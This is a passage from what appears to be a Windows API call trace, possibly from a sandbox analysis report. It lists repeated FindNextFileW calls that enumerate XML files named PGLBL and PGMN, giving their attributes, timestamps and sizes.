ftLastWriteTime.dwHighDateTime=0x1c9f606, nFileSizeHigh=0x0, nFileSizeLow=0x6d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL027.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b28800, ftCreationTime.dwHighDateTime=0x1c9e3fe, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b28800, ftLastWriteTime.dwHighDateTime=0x1c9e3fe, nFileSizeHigh=0x0, nFileSizeLow=0x266a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL044.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x187aa500, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x5a366d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x187aa500, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x10e590, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL048.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf22b5d00, ftCreationTime.dwHighDateTime=0x1c9f604, ftLastAccessTime.dwLowDateTime=0x5a366d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf22b5d00, ftLastWriteTime.dwHighDateTime=0x1c9f604, nFileSizeHigh=0x0, nFileSizeLow=0x59f76, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL054.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc9300, ftCreationTime.dwHighDateTime=0x1c6b6bd, ftLastAccessTime.dwLowDateTime=0x5a366d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecc9300, ftLastWriteTime.dwHighDateTime=0x1c6b6bd, nFileSizeHigh=0x0, nFileSizeLow=0x26c44, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL058.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cc7d000, ftCreationTime.dwHighDateTime=0x1c68eef, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cc7d000, ftLastWriteTime.dwHighDateTime=0x1c68eef, nFileSizeHigh=0x0, nFileSizeLow=0x165d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL065.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902d7600, ftCreationTime.dwHighDateTime=0x1c69abe, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x902d7600, ftLastWriteTime.dwHighDateTime=0x1c69abe, nFileSizeHigh=0x0, nFileSizeLow=0xacb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL075.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbcd1600, ftCreationTime.dwHighDateTime=0x1c6c538, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbcd1600, ftLastWriteTime.dwHighDateTime=0x1c6c538, nFileSizeHigh=0x0, nFileSizeLow=0x6134, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL077.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe756a100, ftCreationTime.dwHighDateTime=0x1c6beda, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe756a100, ftLastWriteTime.dwHighDateTime=0x1c6beda, nFileSizeHigh=0x0, nFileSizeLow=0x753, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL078.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fe6500, ftCreationTime.dwHighDateTime=0x1ca1b37, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91fe6500, ftLastWriteTime.dwHighDateTime=0x1ca1b37, nFileSizeHigh=0x0, nFileSizeLow=0xe944e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL081.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67337900, ftCreationTime.dwHighDateTime=0x1ca0b56, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67337900, ftLastWriteTime.dwHighDateTime=0x1ca0b56, nFileSizeHigh=0x0, nFileSizeLow=0x38d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL082.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf103000, ftCreationTime.dwHighDateTime=0x1ca25ea, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf103000, ftLastWriteTime.dwHighDateTime=0x1ca25ea, nFileSizeHigh=0x0, nFileSizeLow=0x8cda, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL083.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9141f00, ftCreationTime.dwHighDateTime=0x1c6d896, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9141f00, ftLastWriteTime.dwHighDateTime=0x1c6d896, nFileSizeHigh=0x0, nFileSizeLow=0xab732, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL086.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8d69800, ftCreationTime.dwHighDateTime=0x1c6bedf, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8d69800, ftLastWriteTime.dwHighDateTime=0x1c6bedf, nFileSizeHigh=0x0, nFileSizeLow=0x13d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL087.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe893cd00, ftCreationTime.dwHighDateTime=0x1ca0904, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe893cd00, ftLastWriteTime.dwHighDateTime=0x1ca0904, nFileSizeHigh=0x0, nFileSizeLow=0xb532, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL089.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a5c4800, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a5c4800, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x124b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL090.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4628f00, ftCreationTime.dwHighDateTime=0x1ca1b44, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4628f00, ftLastWriteTime.dwHighDateTime=0x1ca1b44, nFileSizeHigh=0x0, nFileSizeLow=0x19a22, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL092.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x206de900, ftCreationTime.dwHighDateTime=0x1ca1b2e, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x206de900, ftLastWriteTime.dwHighDateTime=0x1ca1b2e, nFileSizeHigh=0x0, nFileSizeLow=0xb3da, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL093.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b48300, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32b48300, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x1a1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL095.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39db9100, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39db9100, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x19ede, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL096.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f636100, ftCreationTime.dwHighDateTime=0x1c9ef1a, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f636100, ftLastWriteTime.dwHighDateTime=0x1c9ef1a, nFileSizeHigh=0x0, nFileSizeLow=0x80ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL097.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c357500, ftCreationTime.dwHighDateTime=0x1c6d897, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c357500, ftLastWriteTime.dwHighDateTime=0x1c6d897, nFileSizeHigh=0x0, nFileSizeLow=0xe730, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL102.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45027800, ftCreationTime.dwHighDateTime=0x1ca0f15, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45027800, ftLastWriteTime.dwHighDateTime=0x1ca0f15, nFileSizeHigh=0x0, nFileSizeLow=0x27aee, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL103.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf61dc500, ftCreationTime.dwHighDateTime=0x1ca1702, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf61dc500, ftLastWriteTime.dwHighDateTime=0x1ca1702, nFileSizeHigh=0x0, nFileSizeLow=0x1fcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL104.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ffeb200, ftCreationTime.dwHighDateTime=0x1c9fa22, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ffeb200, ftLastWriteTime.dwHighDateTime=0x1c9fa22, nFileSizeHigh=0x0, nFileSizeLow=0x15090, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL105.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2fb7700, ftCreationTime.dwHighDateTime=0x1ca1b41, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2fb7700, ftLastWriteTime.dwHighDateTime=0x1ca1b41, nFileSizeHigh=0x0, nFileSizeLow=0x9ae4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL106.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45218b00, ftCreationTime.dwHighDateTime=0x1ca1b45, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45218b00, ftLastWriteTime.dwHighDateTime=0x1ca1b45, nFileSizeHigh=0x0, nFileSizeLow=0x1d5c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL107.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e92800, ftCreationTime.dwHighDateTime=0x1c9f4a1, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82e92800, ftLastWriteTime.dwHighDateTime=0x1c9f4a1, nFileSizeHigh=0x0, nFileSizeLow=0x2dbec, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL108.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b1600, ftCreationTime.dwHighDateTime=0x1ca14c1, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0b1600, ftLastWriteTime.dwHighDateTime=0x1ca14c1, nFileSizeHigh=0x0, nFileSizeLow=0x2b6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL109.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x643bf200, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x643bf200, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0xcdbee, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL110.XML", cAlternateFileName="")) returned 1 [0079.504] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x656d1f00, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x656d1f00, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0x40198, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL111.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07a0100, ftCreationTime.dwHighDateTime=0x1ca2c4b, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07a0100, ftLastWriteTime.dwHighDateTime=0x1ca2c4b, nFileSizeHigh=0x0, nFileSizeLow=0x2247e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN001.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x669e4c00, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x669e4c00, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0xeb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN002.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c7ce900, ftCreationTime.dwHighDateTime=0x1c9f4a3, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c7ce900, ftLastWriteTime.dwHighDateTime=0x1c9f4a3, nFileSizeHigh=0x0, nFileSizeLow=0x1bc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN010.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94fa5500, ftCreationTime.dwHighDateTime=0x1ca1b39, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94fa5500, ftLastWriteTime.dwHighDateTime=0x1ca1b39, nFileSizeHigh=0x0, nFileSizeLow=0xe2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN011.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc63d500, ftCreationTime.dwHighDateTime=0x1ca1b38, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc63d500, ftLastWriteTime.dwHighDateTime=0x1ca1b38, nFileSizeHigh=0x0, nFileSizeLow=0x2936, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN020.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17af0200, ftCreationTime.dwHighDateTime=0x1ca06ab, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17af0200, ftLastWriteTime.dwHighDateTime=0x1ca06ab, nFileSizeHigh=0x0, nFileSizeLow=0x167d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN022.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x632f2e00, ftCreationTime.dwHighDateTime=0x1c66206, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x632f2e00, ftLastWriteTime.dwHighDateTime=0x1c66206, nFileSizeHigh=0x0, nFileSizeLow=0x21be, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN026.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54389200, ftCreationTime.dwHighDateTime=0x1c9f606, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54389200, ftLastWriteTime.dwHighDateTime=0x1c9f606, nFileSizeHigh=0x0, nFileSizeLow=0x5e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN027.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60487100, ftCreationTime.dwHighDateTime=0x1c9e332, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60487100, ftLastWriteTime.dwHighDateTime=0x1c9e332, nFileSizeHigh=0x0, nFileSizeLow=0x1412, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN044.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4233cc00, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4233cc00, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x9c4ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN048.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x662faf00, ftCreationTime.dwHighDateTime=0x1ca1b38, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x662faf00, ftLastWriteTime.dwHighDateTime=0x1ca1b38, nFileSizeHigh=0x0, nFileSizeLow=0x8250, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN054.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x409da800, ftCreationTime.dwHighDateTime=0x1ca1b2e, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x409da800, ftLastWriteTime.dwHighDateTime=0x1ca1b2e, nFileSizeHigh=0x0, nFileSizeLow=0x8e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN058.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c896a00, ftCreationTime.dwHighDateTime=0x1ca1b2e, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c896a00, ftLastWriteTime.dwHighDateTime=0x1ca1b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1326, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN065.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7a49300, ftCreationTime.dwHighDateTime=0x1c6946d, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7a49300, ftLastWriteTime.dwHighDateTime=0x1c6946d, nFileSizeHigh=0x0, nFileSizeLow=0x9ff4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN075.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6a4d100, ftCreationTime.dwHighDateTime=0x1ca0452, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6a4d100, ftLastWriteTime.dwHighDateTime=0x1ca0452, nFileSizeHigh=0x0, nFileSizeLow=0x101198, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN081.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66024c00, ftCreationTime.dwHighDateTime=0x1ca0b56, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66024c00, ftLastWriteTime.dwHighDateTime=0x1ca0b56, nFileSizeHigh=0x0, nFileSizeLow=0x31a78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN082.XML", cAlternateFileName="")) returned 1 [0079.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2620df00, ftCreationTime.dwHighDateTime=0x1c6a62f, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2620df00, 